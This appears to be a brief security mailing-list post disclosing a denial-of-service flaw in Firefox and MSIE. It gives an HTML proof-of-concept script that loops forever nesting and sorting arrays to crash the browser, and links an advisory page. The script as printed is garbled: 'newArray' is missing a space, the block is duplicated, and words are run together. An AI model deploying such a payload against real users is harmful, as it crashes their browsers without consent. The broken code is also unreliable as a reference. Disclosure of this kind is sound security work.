Sounds like he does it "For fun".  That's what I'd do.

Hi all,

Same flaw works for Firefox as well as MSIE:

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = newArray(a)).sort(); } </SCRIPT><SCRIPT> a = new Array(); while (1) { (a = newArray(a)).sort(); } </SCRIPT> </HTML>
Added to the list:http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html
I'd have loved to CC mozilla about this, but I didn't havethe time to do the crash course "how to write a bug report"and go through all that bugzilla crap.
Cheers,
